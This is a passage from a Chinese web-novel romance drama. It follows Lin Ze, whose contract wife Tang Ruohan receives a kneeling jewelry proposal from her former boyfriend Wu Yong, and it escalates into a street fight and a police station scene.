林泽把菜谱放下,往前面推了推,“我不知道你喜欢吃什么,你自己点吧。” 说话时。 林泽并没有看周磊。 打一开始到现在,周磊对他并没有善意,能做到这一步,林泽觉得已经够可以了。 周磊并不客气,“那就加一个麻辣毛血旺,特麻,特辣!” 周浩倒吸一口凉气。 “周磊,没必要吧,就算表白被拒绝,也不至于这样祸自己!” 张军打电话的时候,周浩和马小阳正在劝周磊,所以,周磊才会跟着一块儿过来。 两个人都知道周磊现在处于被拒状态,可一向不吃辣的周磊居然点了这个菜,这不是糟蹋自己,这是什么? 既然话已经被放到明面上,马小阳干脆也接了一句。 “就是,你这成不了就证明没缘分,别想不开呀!” “谁说我想不开,就是因为想得开,我才想着尝试一下不敢尝试的东西!” 周磊仰起脖子,瞪圆了眼睛反驳。 张军伸出手。 “好好好,特麻特辣,麻辣毛血旺,对不对?” “要!” “看在你失恋的份上,一会儿我跟服务员说一下,咱这个菜要特别定制,不麻不辣都不行!” 张军拿着笔,重重地在毛血旺后面打了个对勾,特意加了两个字“特麻特辣。” 周磊长叹一声,手揉了揉头发,声音当中夹杂着疲惫。 “失恋个嘚儿啊,压根就没恋过!” 本是一句伤感无比的话。 可谁知道说出来以后,马小阳实在憋不住,扑哧一下子笑出了声音。 紧接着,又是周浩的笑声。 屋子里的气氛,突然又转变了。 十来分钟后。 服务员端来了啤酒,要的菜也陆续上过来。 周浩先给大家倒了一圈,提高声音。 “今天的事赶得有些巧,不如咱们这样走,一杯敬升官,一杯敬失恋,怎么样?” 其他人没有说话。 周磊感觉浑身的汗毛眼都竖起来了! 好像,今天他真不应该来。 …… “小涵,你好像有什么心事?还在为赵教授的事情担心?” 吴庸一脸真诚,眼睛里的柔情几乎要溢出来。 唐若涵柳眉微蹙,微微点头。 “我在想,那件北宋制品没有被教授买下,到底是什么原因,是价格昂贵,还是因为其他?” “这是教授的遗愿,我们务必竭力办妥。” “可如果那件登封窑白釉剔花执壶真有问题,岂不是弄巧成拙了?” 吴庸摇头,一脸的不在意。 “小涵,你还真把林泽的话当真了?怎么可能是假的?” “他随口一说,你还真顺着他的思路往下想?” “他又不是文物鉴定专家,他瞎说的。” 说完,像是不经意的,吴庸伸出手拍了拍唐若涵的肩膀,“别想这件事了,有我呢,这个团队是专业的。” 唐若涵本能地怔了一下,随后,刻意跟吴庸保持了几步的距离。 吴庸眼中的不悦一闪即逝。 “你放心,我一定会让师母满意的,走吧,我们进去吃饭,我有一样东西要送给你。” 唐若涵抬眸,看到“紫燕饭店”的铺面,脸上的神情这才缓和一些。 好久没有在这里吃饭了,想想以前经常跟苏晴来这里,唐若涵还真有些怀念。 至于吴庸说的送东西,唐若涵也没有太在意。 刚一进门。 吴庸便指向大厅中间的一个位置。 “服务员,我们就在那里了,上你们这里的招牌菜。” 吴庸西服得体,气质不凡。 伸手指向位置的时候。 衬衣上的定制纽扣闪闪发亮。 服务员见状,立刻点头。 “好的先生,请跟我来。” 此刻正是吃饭地点,整个大厅都很热闹。 吴庸话音落后。 不少人看向他们这边。 唐若涵脸上的表情有些僵硬。 平常吃饭,都是在包间里。 突然跟这么多人一块吃饭,唐若涵还真有些不适应。 可吴庸已经跟着服务员往前走,唐若涵也只好跟过去。 本来想着,吃饭的时候,再聊一下那件登封窑白釉剔花执壶。 可看这样子,应该是不行了。 唐若涵刚刚坐下,吴庸深情的目光又迎了上来。 “小涵,我有一件礼物,要郑重地送给你。” 第一卷 第41章 他在向你老婆求婚! 唐若涵眼眸一震,精致小脸上,瞬间写过疑惑。 来这里,难道不是吃饭吗? 怎么还郑重地送礼物? 看眼下这幅情形,好像不只是说说那么简单。 阳光透过玻璃,洒在唐若涵的身上。 此刻。 就连唐若涵散落的碎发,都透露着温柔。 吴庸沉醉在眼前美景当中,眼睛都舍不得移开。 “吴庸?” “小涵,你真的是太美了,就像画里的精灵,清纯不食人间烟火。” 唐若涵笑起来。 看看周围。 “这不都是烟火气吗?人间烟火才是生活。” “不,在我眼里,你就是象征着温柔与端庄的莱托女神,你拥有强大的心灵,高贵得不容亵渎。” 吴庸的盯着唐若涵的脸,深情地说出一番话。 唐若涵抚了抚头发,将一缕碎发,别至耳后。 “最近在看西方神话?” “没有,只是每次看到你,我都有这种感受,”吴庸声音略带急切,“这也是我一直想回国的目的,我会永远保护我的女神,不让我的女神受半丝委屈。” 吴庸眼里闪着盈盈泪光。 唐若涵心情一阵复杂。 委屈吗? 三年的生活,林泽把她照顾得无微不至,谈不上委屈。 可这三年不是她想要的日子,也不算太幸福。 好在,时间马上就要到了。 这种生活很快也能结束。 唐若涵脸上闪过一丝笑意。 这时。 吴庸突然从口袋里拿出一件首饰盒。 “小涵,送你的礼物。” “什么?” 唐若涵眼眸轻颤。 当着唐若涵的面,吴庸缓缓打开首饰盒。 盒子里,静静地躺着一串项链。 “小涵,这是我专门选给你的。” “这条项链都是天然翡翠制作,极其珍贵,这些晶莹剔透的翡翠珠子,都是出自同一块原石。” “不仅佩戴美观,还具有收藏价值。” 唐若涵看向面前的项链,脸上也露出惊叹之色。 翡翠珠子色泽饱满,毫无瑕疵。 如此翠绿浓郁的颜色,只一眼便能看出,这是几个少见的。 即便没有刻意打光,珍珠项链在自然光下,依旧流光溢彩。 “小涵,喜欢吗?” 吴庸声音充满磁性,默默地望着唐若涵。 “无数次,我想象着你戴上这串项链,该是怎样的艳压群芳,只有你,才能配得上如此奢华的饰品。” 望着眼前的吴庸,唐若涵心中一阵恍惚。 不管是三年前还是现在,吴庸好像一直都把自己看作是最重要的。 可很快。 唐若涵缓过神。 “吴庸,谢谢你的一番心意,可这么贵重的礼物,我不能收。” 吴庸嘴角满是失落,眼神跟着黯淡了几分。 “没想到,这条项链我挑选了很久,最终还是不合你的心意。” “我清楚,依照你的家世和见识,这种千万级别项链,不见得能入得了你的眼,但我真的尽心了。” “小涵,以前我没有能力给你这种东西,但我发誓,以后我一定会弥补回来,因为你是我最重要的人。” 说话时。 吴庸眼眶泛红,声音也哽咽起来。 眼眶的那滴泪水,似乎随时都能掉下来。 想起当年父亲对吴庸的指责以及鄙夷,唐若涵心中又是一阵酸涩。 当年的吴庸,的确不像现在风光。 可是,一个刚出校门的学生,即便有家族的支持,短时间之内也不可能势如破竹。 况且,跟唐家的家境比起来,吴家简直太平庸了。 父亲的那些话,更是如同重锤一般,狠狠砸在吴庸的身上。 “吴庸……” 唐若涵不知道应该怎样安慰吴庸。 如果说父亲嫌贫爱富,可他为什么选择了身无分文的林泽? 相比之下,林泽不更穷吗? 如果不看家世,吴庸对自己好得无可挑剔,父亲为什么依然拒绝? 直到现在。 这依旧是解不开的一个谜。 “小涵,回国的这几天,我一直非常矛盾,想着你马上就可以跟他离婚,我的心里是雀跃的。” “可一想,这三年当中,你我都在受煎熬,我又无比失落。” “我不知道该用什么方法来表达我的感受,所以,我们重新认识可以吗?在我对你深情的基础上,我以现在的身份重新跟你相遇。” 唐若涵微微低头。 吴庸说的这些,她无法反驳。 可此刻。 她还没有跟林泽离婚,在法律层面上,他们还是夫妻关系。 “吴庸,谢谢你对我的心意,这个项链,我暂时不能收。” 吴庸眼神一紧,心中顿时有了喜色。 成功了! 刚才唐若涵严厉拒绝,现在,改口说暂时不能收。 这已经是最大的进步。 这也足以说明,唐若涵是能够为自己做出让步的。 尽管心中喜悦万分,但吴庸的脸上却不敢表现出什么来。 说话时,依旧无比失落。 “小涵,尊重你的选择,你说暂时不收,那我就先留着,”说着,吴庸竟然又拿出一个小盒子,“那这个,是不是可以先留下?” 话音落后。 吴庸已经将盒子打开。 精致盒子里,放着一枚经典款的翡翠戒指。 色泽跟刚才的项链如出一辙。 “这枚戒指也是出自刚才项链的原石,它们是一套,我没有把胸针和耳环,以及手镯带过来,就是担心你会不收。” “没想到,那项链还是没有福气戴在你的脖子上。” “但这戒指不同,它简约经典,可以出入各种宴会场合,它能代替我陪着你。” 唐若涵刚想拒绝。 吴庸突然话锋一转,“这个戒指,你可以戴在中指无名指以外的任何手指上,它们代表的意义不同,不会让你为难。” 唐若涵望着眼前的戒指,脸上闪过犹豫之色。 …… “今天喝得也算爽快,不过,我还是怀念咱们上大学时在野地里烤串儿,那才叫爽。” “喝着啤酒,唱着歌,偶尔还能骂上几句,痛快。” “那就下次,咱们来顿户外餐!” 张军和周浩一边走一边聊,讨论的都是下次聚会的安排。 王小阳和林泽走在后面,偶尔搭上一句。 周磊走在最后,情绪不高。 但是因为表白被拒的原因,酒喝的却不少。 又下几层台阶,林泽微不可查地皱了皱眉头。 唐若涵? 怎么来这里吃饭了? 而且,她的对面还是吴庸? 林泽刚看清楚面前的情形,周磊突然一声大喊。 “林泽,你看!” “那人,他在向你老婆求婚!” 第一卷 第42章 觊觎她的人,想也白想! 刚才还嬉闹成一片的几个人。 瞬间变得鸦雀无声。 张军的笑容僵在脸上,语气当中满是不可置信。 “老林,怎么回事?” 不远处。 吴庸和唐若涵正在上演情深一幕。 唐若涵微微低头,欲诉还休,吴庸目光灼热。 两个人之间的翡翠戒指,格外显眼。 林泽心脏收紧,尴尬得难以言语。 他跟唐若涵的合约婚姻,并没有人知晓。 此刻,面对吴庸跟唐若涵的这种画面,他该怎样解释? “这是林泽的媳妇呀,长得还蛮漂亮的,以前只在电视上见过,没想到真人比电视上还要好看。” 为了缓解尴尬,周浩语言生涩地说出一番。 张军却没有理这茬,直接碰了碰林泽的胳膊肘。 “干嘛呢,这是,要不要过去?” 周磊嘴唇微张,面对刚刚捕捉到的重大话题,眼睛都不带眨一下的。 “我没看错吧,那男的拿着戒指,是不是在求婚?” “你别火上浇油了,行不行,没弄清楚是怎么回事,不要胡说八道。” 尽管疑惑重重,可这个时候,张军还是偏向临泽这一边。 “这也太情深了吧,林泽,你这豪门生活是不是出什么问题了?还是,这是家常便饭?” 周磊压低声音,刻问出来的话分明就像是在伤口上撒了一把盐。 众所周知。 豪门生活不易。 林泽跟唐若涵结婚本就是高攀。 所以,日常生活中被戴戴绿帽子,也得忍气吞声。 林泽收回目光,表情平静。 “他们只是朋友。” 眼下,为了避免更多麻烦,林泽只好把吴庸说成是唐若涵的朋友。 但是,他们信不信,就由不得自己了。 果然。 林泽话音还没有落,周磊的声音骤然提高。 “朋友?我看不见的吧,谁家朋友之间送戒指,你看,他们两个人的眼神都要拉丝儿了!” 张军上前一步,直接挡住周磊的视线。 “周磊,你表白被拒以后,是不是就喜欢看这种画面?再加上无尽的臆想?什么毛病啊你?” 周磊愣了一下,接着倒吸一口凉气。 “我……不是,这我都看到他们求婚了,还不能说说啊?” “你听到求婚了,看到跪下了?” 张军也开始较真。 偏偏天不遂人愿。 将军话刚说完,周磊伸手一指。 “你看,这不就跪下了吗!” “小涵,我求你收下这枚戒指,我对你的心,不管是以前还是现在,包括以后的未来,都不会改变!” 吴庸一边说,一边来到桌前。 径直跪在唐若涵面前! “吴庸,你要干什么!” 唐若涵猛然起身,精致面孔上满是惊愕。 刚才送项链,她以贵重为由拒绝。 现在,为了让自己收下戒指,吴庸竟然……下跪! 不知所措的同时,唐若涵心中升起一股无明火。 最近这段时间,吴庸给自己的,惊大于喜! “小涵,我没别的意思,我只是想让你收下。” “你这样让我很被动,快点起来!” 唐若涵压低声音,竭力按压着内心的怒火。 “嫁给他,嫁给他!” 一道稚气的声音传来,接着便是稚嫩手掌的拍打声。 唐若涵惊讶,转头。 一个五六岁的小男孩,正笑着对他们鼓掌。 小男孩旁边,是一对年轻的夫妻。 显然。 小孩儿把眼前的情形当成了求婚画面。 唐若涵尴尬至极。 刚想收回目光,突然愣住。 心跳也跟着漏了几拍! 林泽? 他怎么会在这里? 他也来这儿吃饭了?刚才怎么没有看到他? 唐若涵伸手抚住额头。 现在真是一团乱麻,想理都理不清了! 此刻。 吴庸正背对着林泽。 对于唐若涵看到的情形,吴庸一无所知。 可吴庸深情下跪的样子,却被林泽等人看得清清楚楚。 “咳咳咳!” 唐若涵清清嗓子,脸立刻拉下来。 “吴庸,收起你的东西,这两天,我们还是不要见面了!” 说完。 唐若涵头也不回地转身离开。 吴庸一脸错愕。 跪在地上不知所措。 几米开外。 张军和周浩他们也是一头雾水。 “叔叔,漂亮姐姐都走了,你不去追吗?” 小孩眨巴着清澈的眼睛,好心地提醒。 吴庸这才缓过神,缓缓站起身。 “先生,您的菜上来了。” 身后。 服务员端来饭菜。 吴庸想说话,转头看到身后的一幕。 眉头立刻皱起。 不远处,站着的几个人当中,有林泽! 吴庸瞬间恍然大悟。 怪不得唐若涵刚才会跑开,原来,林泽在这里! 前一刻,吴庸心中还疑惑满满。 唐若涵喜欢他,当年,为了他,甚至要跟家里绝交。 在她结婚的这三年,他们虽然是朋友的身份,却也没有断了联系。 如今,他也算凯旋,唐若涵应该高兴才对,可吴庸总觉得唐若涵对自己很疏离。 看看林泽。 再想想刚才那一幕。 吴庸心底升起一丝醋意。 难道是因为林泽? 不可能! 唐若涵不可能喜欢他! 他们只是有夫妻之名,并无夫妻之实,林泽就是唐若涵生活里的污点,唐若涵不可能对他有感情! 恨恨的咬咬牙,吴庸将戒指放回到首饰盒。 将所有东西装好,掏出几张百元大钞放在桌子上,这才慌忙离开。 “都别站在这儿了,咱们也撤吧!没什么好看的。” 张军招呼大家。 可周磊跟王小阳他们,还是时不时的看一下刚才的座位。 这一幕,有点……炸裂! “林泽,你跟唐家大小姐感情没出什么问题吧?” 周浩斜了斜眼睛,小声嘀咕了一句。 张军伸手,推得周浩往后退了两步。 “省省心吧你,没看到刚才他媳妇刚才已经走了吗,别说不是求婚,就算是求婚,那他也是拒绝的!” “唐家大小姐,闪创影视传媒的总裁,又漂亮又高冷,追求者自然有很多。” “只是,他们那一番心思都白瞎了,唐若涵是林泽的老婆,法律上承认的!” 张军的一番话说得铿锵有力。 林泽却无语。 话,现在可以这样讲,估计再过一段时间,就是妥妥的打脸了。 这时。 周浩也跟着帮腔。 “没错,那些觊觎唐若涵的人,想也白想!” “走了,走了!” 几个人都担心林泽尴尬,都装作若无其事地打圆场。 林泽也没有说什么。 反正再过几天,他跟唐若涵的婚姻关系便会解除,所有这一切都能画上句号。 现在,又何必增加一个人们茶余饭后的笑柄? 片刻工夫过后。 几人来到饭店门口。 刚才,大家都喝了酒。 在等着打车的功夫。 林泽的手机,突然响起来! “滴滴,滴滴滴。” 有节奏的响声传出。 几个人都看向林泽这边。 林泽拿出手机,屏幕上,是一个陌生的电话号码。 第一卷 第43章 她这种女人,你拿不住! 林泽没想接电话。 可手机铃声一直传来。 旁边几个人眼睛瞪得溜圆,全都看向他这边。 无奈之下,林泽这才按下接听键。 “你好,我是林泽,请问你找谁?” 林泽眉头微皱,语气当中夹杂着一丝不耐烦。 对方先是怔了一下,接着才小心翼翼地开口。 “林泽?” 电话那端。 是一个女孩子在讲话,声音柔柔的,年纪应该不大。 “对,我是林泽,你是谁?” “林泽,真的是你吗,你听不出我的声音来了,我是南希,我回国了!” 电话那端的声音有了明显的兴奋,接着还轻笑了两声。 林泽愣住。 旁边。 周浩,张军,马小阳包括周磊,表情也全都僵在脸上。 刚才接电话时,林泽并没有打开扬声器。 可是。 几个人围成一团,对于电话那端的声音,也都听了个清清楚楚。 得知是南希联系林泽,周浩当场咽了一口口水。 周磊心中五味陈杂,缓过神来以后,立刻伸着脖子看过来。 “我看看,是不是南希的电话号码?” 前不久。 他刚刚在电话里跟南希表白,南希义正言辞地拒绝,这也浇灭了他心中的火焰。 目光看向屏幕时,周磊多希望这是同学们的恶作剧。 可没想到。 那个电话号码,的确是南希的。 一瞬间。 周磊的情绪降至谷底。 “林泽,你在听我说话吗?” 南希的声音再次传来。 林泽“嗯”了一声。 “好久不见,回头我们聚一下?怎么样?” 林泽本来想拒绝,可话还没说出来,旁边的几个人就开始对着他挤眼睛。 林泽犹豫片刻,这才说出一句:“好,到时候再联系。” “好,那没有别的事情,我先挂了,回头见!” “好。” 对于南希的这一通电话,自始至终,林泽脸上只有一个表情。 平静如水。 可是,旁边的几个人,早已经瞪圆眼睛。 周磊目光当中满是不可置信,表情再次僵住。 马小阳和周浩一脸兴奋,高兴得都要手舞足蹈。 “瞧你们这点出息,有本事让南希约你们啊,人家约林泽,你们高兴个什么劲儿?” 马小阳仰起头,故意装出深沉的表情。 “张队,话不能这样讲,南希可是咱们大学的校花,哪个男生不心动?只可惜,大学四年,南希的心全都放在林泽那边,这让多少男生夜不能寐?” 顿了顿,马小阳还吸了吸鼻子,痛心疾首地继续,“现在林泽结婚了,我们的机会不就来了吗?是不是周磊?” 得意忘形之际,马小阳又嘴瓢了。 看到周磊痛不欲生的样子,马小阳赶紧撇撇嘴。 “错了错了,你刚被拒绝,咱就不提这一茬了啊。” 不知道为什么,看到这个情形,张军差一点笑出声音。 这时。 一辆出租车停在他们面前。 张军摆手招呼他们过来,顺带着打开出租车的门。 “行了,回头电话联系,你们几个先走,我跟老林等下一辆,我们顺路。” 马小阳和周浩虽然不情愿,可还是带着周磊上了车。 眼看着出租车走远,张军这才吁了一口气。 伸手拍拍林泽肩膀,张军掏出兜里的烟,轻弹两下烟盒,一只眼已经蹦出来。 “来颗?” 林泽抬手拒绝,“没心情。” “没心情更要抽烟了,快点的吧!” 说话间,张军已经掏出打火机,点燃香烟后猛吸了一口。 随后。 一个烟圈吐出来,极其标准。 林泽见状,直接甩出一个白眼。 “老张,如果我没记错,当初就是为了不吸你的二手烟,我才学会抽烟的吧?” “呵呵呵,多久的事儿了,记得还挺清楚。” 张军咧着嘴笑笑,可看向林泽的目光,始终充满关切。 见林泽接过烟,张军这才问道:“唐若涵怎么回事,你俩是不是闹矛盾了?她不会把你踹了吧?” 刚才当着那么多人的面,张军没有细问。 可是,就饭店的那副情形,谁看了也能明白,有问题。 见林泽不说话。 张军眉头又皱了皱,像是早就料想到了一般。 “我早就跟你说过,唐若涵那种女人,你拿不住,唐家的千金大小姐,有钱有权势,有关系有人脉,她要是想走,咱们寻常这种小老百姓,留不住的。” “我知道接下来该怎么办。” 林泽缓缓说出一句。 “怎么办?离婚啊,还是就让她这么给你戴绿帽子?现在不管怎么办,都是伤敌一千,自损八百!” 听着张军的分析,林泽哭笑不得。 能如此形容他的,估计也只有张军了。 林泽并非故意想对张军隐瞒,只是,眼下一两句话也说不清楚。 见张军一直盯着自己,林泽掸了掸烟灰。 “回头再跟你详说,车来了,去忙你的吧。” 张军一怔。 “不一块走吗?” “我静一静。” 张军本来还想说什么,可看到林泽的表情,最后到了嘴边的话又咽了下去。 抬手拦下出租车,张军嘱咐:“老林,有事你打电话。” “行了,知道了。” 目送张军离开。 林泽这才转身。 跟唐若涵结婚三年,他的日子过得挺单调。 除了把唐若涵照顾得无微不至以外,林泽没有太多的社交。 一日三餐,临时加餐,偶尔唐若涵带人回来聚餐,都是林泽负责。 只是。 三年合约时间将近,吴庸回来以后,发生的事情也跟着多起来。 对于外界的那些议论跟猜测,林泽不想理会。 眼下。 林泽只盼着能够坚持到最后一天,顺利跟唐若涵结束婚姻关系。 如果说其他的还要想的,那便是爷爷的医药费。 当初,面对高额的医疗费,如果不是走投无路,林泽也不会跟唐英豪签下那份合同。 林泽漫无目的,走路缓慢。 往常抒发郁闷心情的时候,他也是选择这种方式。 只是。 刚向前走没多远,林泽突然停下脚步。 不远处。 一辆黑色豪车停在路边。 低调,奢华。 限量版的车型及车牌号。 林泽一眼便认出,那是唐若涵的汽车。 此刻。 唐若涵靠着车门,正背对着自己。 而唐若涵的对面,是神情急切的吴庸。 距离太远。 林泽听不清楚他们在说什么。 可根据吴庸脸上的神情猜测,这时候,吴庸一定是在说好话。 淡淡地看了一眼,林泽转身。 “林泽,等一等!” 一道急切的声音传来。 林泽想装作没有听到,可吴庸已经一路小跑着过来。 “林泽,等一下!” 第一卷 第44章 你爹没有教过你,说谎是不对的? 林泽皱眉。 不明白,吴庸为什么会跑过来找自己。 这个时候,难道不是正在跟唐若涵约会吗? “你有事?” 见吴庸拦在跟前,林泽冷冷地扫了一眼。 至今,林泽始终记得,吴庸找一帮记者在爷爷病房前的情形。 “林泽,我想跟你说件事,之前在医院,你不要怪小涵。” “我知道始作俑者是谁,还没有到不明是非的地步。” 林泽语气当中没有任何温度。 “你……” 吴庸皱起眉头,脸上的表情当场凝固。 这个林泽,还真把自己当回事儿了? 他匆忙过来道歉,不过是想给唐若涵留下一个好印象。 没想到,林泽竟然还揪着这件事情不放。 “呵,林泽,这么说没意思,不要以为,你跟唐若涵是夫妻,身价也会跟着水涨船高,”说到这,吴庸又提高了声音,“说到底,你就是一个抱唐家大腿的!” “只要你们还没离婚,为了小涵,你就有必要做出牺牲,这是你做赘婿的代价。” 林泽眼神如同淬了冰,“说完没有?” 握了握拳头,林泽努力按耐住内心的冲动,“说完滚蛋!” 吴庸瞬间瞪圆眼睛。 “你让谁滚?你再说一遍!” “说完滚蛋,听不懂人话是不是?” 对待吴庸,林泽没有留任何情面。 他跟唐若涵如何相处,是他们之间的事情,合约也好,奉献也罢,都轮不到一个外人来指点! 况且,这还是想利用爷爷病情炒作的恶人! 吴庸咬牙切齿,压低声音,“你拆散了我跟唐若涵,这笔账我一直记着!拿你爷爷的病做文章又怎么样,我恨不得他死!” “嘎巴——” “嘎巴——” 林泽的手指关节发出脆响,脸色愈发难看。 吴庸眯起眼睛。 “怎么?恼了?” “我告诉你,这一次被你搞砸了,那咱们就在你爷爷死的时候见!” “到时候,我让你……” “去你妈的!” 林泽猛伸出手,照准吴庸的脸,当场就是两巴掌! “啪!” “啪!” 清脆巴掌声传出。 吴庸瞬间被打懵。 错愕的声音还没发出来,脸颊上已然多了两个巴掌印! 林泽死死盯着吴庸,说出来的每一个字都如同淬了冰。 “给我记住,再从我爷爷病情上做文章,我废了你!” 趁着吴庸没有反应过来,林泽又在吴庸的肚子上补了一脚! “啊!” 吴庸一个趔趄,当场被踹翻在地。 刚刚赶过来的唐若涵,正巧遇到这一幕! “林泽,你住手!你要干什么!” 说话间。 唐若涵一下子挡在吴用面前,甚至,还伸出了双手。 林泽站直身体,平静地望着唐若涵。 可唐若涵眼眸当中的凛冽,却掩饰不住。 “林泽,吴庸向你承认错误,你为什么要动手打人?” “这几天他一直非常懊悔,他一直想找机会说明这件事情。” “我命令你,道歉!立刻!马上!” 林泽嘴角扬起一丝冷笑。 “唐总,你没有必要如此维护你的心上人,事实是什么样的,我跟他心里都清楚。” 唐若涵柳眉紧蹙,不可置信地望着林泽。 身后。 吴庸跌跌撞撞地站起身,上前一步,来到唐若涵身边。 “林泽,你太冲动了,我都答应给你十万作为精神补偿了,难道还不行?” “我承认,那天我的做法确实不妥,可你跟你爷爷也没有受到什么损失,你不能张口就要五十万!” “这属于勒索!” “什么?五十万?”唐若涵惊讶出声,精致面孔瞬间泛白,“吴庸,你……” “小涵,我心中有愧,所以想弥补一下,可是林泽……要的太多了!” 吴庸欲言又止,脸上全是为难的表情。 唐若涵眉头收紧。 “林泽,你怎么可以这样,你太过分了!你这样是犯法的!” 林泽冷笑出声。 目光扫过唐若涵,最终停在吴庸的脸上。 “吴庸,你爹有没有教过你,说谎是不对的?” “我没有说谎,也没有必要说谎,五十万对于我来说不算什么,可我不能助长你这种风气,这对社会……” 话音未落。 只听“砰”的一声! 林泽的拳头精准无误地砸在……吴庸脸上! “啊!” 吴庸一声惨叫。 当即捂住眼睛。 唐若涵大脑一片空白,看向林泽的目光,就像是在看陌生人! 这是林泽吗? 结婚三年,跟自己说话的时候,林泽从来没有大声过。 他怎么可以当着自己的面,这么粗鲁? 刚才的巴掌,还有那一脚! 现在又是一拳头! 林泽。 这是疯了吗! “啊!救命啊!” 吴庸的声音再次传来,唐若涵这才缓过神。 抬眼看向前方,瞬间呆若木鸡! 吴庸满脸是血,整个人都站不稳。 鲜血顺着吴庸的手指缝往下滑。 洁白袖口上,已经血迹斑斑。 “吴庸,你怎么样了,我马上叫救护车!” 唐若涵惊慌失措,当场掏出手机打电话。 林泽再次冷笑,刚要转身。 一阵警笛声突然传来。 本以为是遇到了警局正常出警。 可没想到,警车居然在林泽他们面前停下。 一个急刹车后,警车门打开,瞬间,四五个穿着制服的工作人员从车上跳下来。 司机座上下来的,竟然是张军! 到林泽的那一刹那,张军也有些蒙圈。 “老林,你怎么在这?这是?” 林泽活动活动手腕,斜着眼睛看了一下吴庸。 此刻。 张军似乎也明白了什么。 上前一步,张军压低声音。 “怎么着,动手了?” “嗯。” “草!接到群众报警电话,说有人在这边打架斗殴,没想到……” 话说到一半,张军没有继续说下去,而是重重地咳嗽了一声。 “小周,小郑,你们几个把现场处理一下,小刘,问情况。” 张军当场指挥。 看到有警员过来,吴庸立刻上前一步,夹杂着浓重的鼻音赶紧说明情况。 “警察同志,我是受害者,我被打了!” “自始至终,我都没有还手,你看我的脸,现在还流血呢。” “我这鼻子应该是塌了,会留下后遗症的。” 吴庸颤颤巍巍,说话的时候,两只手还不停地比画着。 林泽始终没有开口,冷冷地望着吴庸。 唐若涵惊慌失措地跑过来,手里是刚从车里拿来的一大叠纸巾。 “警察同志,这……” “这位女士,您先稍安勿躁,我们要详细了解一下情况。” 小刘拿着笔,一边说话一边记录。 看着鲜血止不住,吴庸心惊胆战。 “警察同志,情况我已经说了,我伤得非常严重,是不是可以先去医院?” 张军上前。 “的确,你伤得比较重,正是因为如此,我们更要详细地调查,不能只听某人的一面之词。” 说完,张军声音陡然拔高。 “小刘,问详细一些!” 第一卷 第45章 不关心你丈夫,你关心谁? 吴庸蒙圈,脑袋嗡嗡作响。 伤得严重,难道不更应该先去医院吗? “警察同志……” “这位先生,请这边来,有几个问题,我们需要再详细地问一下。” 小刘面无表情,语气严肃。 吴庸只好跟着小刘往前走。 几分钟过后。 林泽和吴庸等人一块去了警局。 唐若涵开车在后面跟着,神情焦急,眼眸中雾气弥漫。 想着吴庸满脸是血的情形,手都开始抖。 同时。 心里也升起一丝怨恨。 林泽,你下手也太狠了! 一路上。 吴庸一直捂着鼻子,随着时间增长,他似乎能够感觉到鼻子肿了不少。 开口没说几句话,听着浓重的鼻音,吴庸的心都提到嗓子眼儿上。 会不会留下什么后遗症? 流了那么多血,应该能评得上伤残了吧? 伤口千万不要感染,否则,后果不堪设想…… 想着万一会留下后遗症,吴庸的心都在跟着抖。 事业刚刚起步,唐若涵还没追到手,荣华富贵还没享受,绝对不能出什么事啊…… “警察同志,我强烈要求去医院,我现在心跳加快,耳鸣,我觉得血压也在升高。” 坐在副驾座上的张军,回头看了看,漫不经心地开口。 “你这种情况我们见多了,伤不了根本,不用太着急。” “可是……” “别说那么多,如果你执意要离开,我们不排除有一种猜想,你心虚,所以想逃跑。” 张军的话说得不紧不慢,每一个字都咬得非常清晰。 吴庸听完当场愣住。 “警察同志,我是受害者,我怎么可能逃跑?” “所以啊,你要配合我们的工作,这件事情说大不大,说小不小,但涉及人民利益,群众安全,我们一定会详查到底。” 吴庸张张嘴,一句话也接不上。 整个车厢里,全是张军嘹亮的声音。 林泽表情平静,一直在注视外面的风景。 一排排树木从眼前闪过,整齐翠绿。 跟刚才相比。 现在的心情好多了。 只是,跟吴庸共同乘坐一辆车,还是让人感觉闷得慌。 …… 来到警局。 吴庸和林泽被带往不同的房间分别录口供。 走廊。 唐若涵焦急地走来走去。 “吱呀——” 一扇门被打开,唐若涵急忙上前。 望着吴庸脸上的血渍,唐若涵的声音都在发颤。 “你伤得怎么样了,要不要紧?吴庸,我们现在能不能去医院?” 吴庸叹了一口气,无语地望着张军。 “能不能走,还得看张队长怎么说。” 唐若涵上前一步。 “张队长,吴庸伤得很重,现在需要立刻去医院,伤口需要马上处理,否则会感染。” 张军直视唐若涵的目光。 “唐女士,你现在的诉求,”张军指了一下吴庸,“是要带着他,离开吗?” “对!吴庸受伤是事实,如果在这里继续耽搁,出了事,你们是要负责的,这是我们应该享受的合法权益!” 唐若涵义正言辞,声音冰冷。 张军直接回怼。 “是吗,要论起合法权益来,身为妻子,这个时候,难道你不应该关心一下自己的丈夫吗?” “这……” 唐若涵被怼的说不出话。 尴尬的看了一下旁边的房间,这才小声询问:“林泽,他没事吧?” “有没有事,不是我们说了算,不过,既然刚才唐女士提到法律,我也顺便多说一句,现在你跟林泽还是合法夫妻,你们的夫妻关系,是受法律保护的。” “小涵,我又流血了,现在怎么办?现在是不是已经感染了?” 唐若涵愣神,正思考张军说的话。 吴庸急切的声音再一次传来。 唐若涵转头,心,当下一横。 吴庸鼻子里的血,再一次顺着手缝往下流。 “张队长,我现在要带着吴庸去医院,希望你能理解,林泽那边,我一会再过来。” 说着,唐若涵将纸巾送到吴庸的手里,拉着吴庸的胳膊便往外走。 “你别着急,医院离这里很近,不会有什么事的。” 盯着两个人的背影,张军目光复杂。 “张队,就这么让他们走了?这……” “要走的,始终留不住。” 说了句意味深长的话,张军转身去了林泽的房间。 …… “小涵,我给你添麻烦了,最近也不知道怎么回事,总是弄巧成拙。” “本来想着我亲自道歉,哪怕出些钱,只要能够不再让林泽误会你,我做什么都可以。” “可是,我没想到,林泽会狮子大开口。” “都怪我,当初按照他说的数目,把钱给他就好了。” 通过后视镜,吴庸不停地观察唐若涵脸上的神情。 果然。 他每说一句话。 唐若涵的脸就跟着沉一分。 等说到最后。 唐若涵精致的面孔上,已经像蒙了一层薄冰。 “不要再说了,这件事情是林泽的不对,吴庸,你不能把所有的责任都往自己身上揽,对就是对,错就是错,你不能纵容林泽的这种风气!” 虽然。 在法律层面上讲,她跟林泽是夫妻。 遇到问题,他们也应该一条心。 可现在,唐若涵心中只有怒火! 林泽勒索吴庸,还动手打人,他触碰的,是自己的底线! “小涵,你别生气,都是我不对。” 吴庸浓重的鼻音当中,又夹杂了一丝无奈。 唐若涵声音陡然拔高,眉毛瞬间紧蹙。 “吴庸,我不管别人怎么看,在我这里,所有的事情非黑即白,我不可能因为是林泽法律上的妻子,就混淆是非!” 唐若涵的坚决让吴庸放下心。 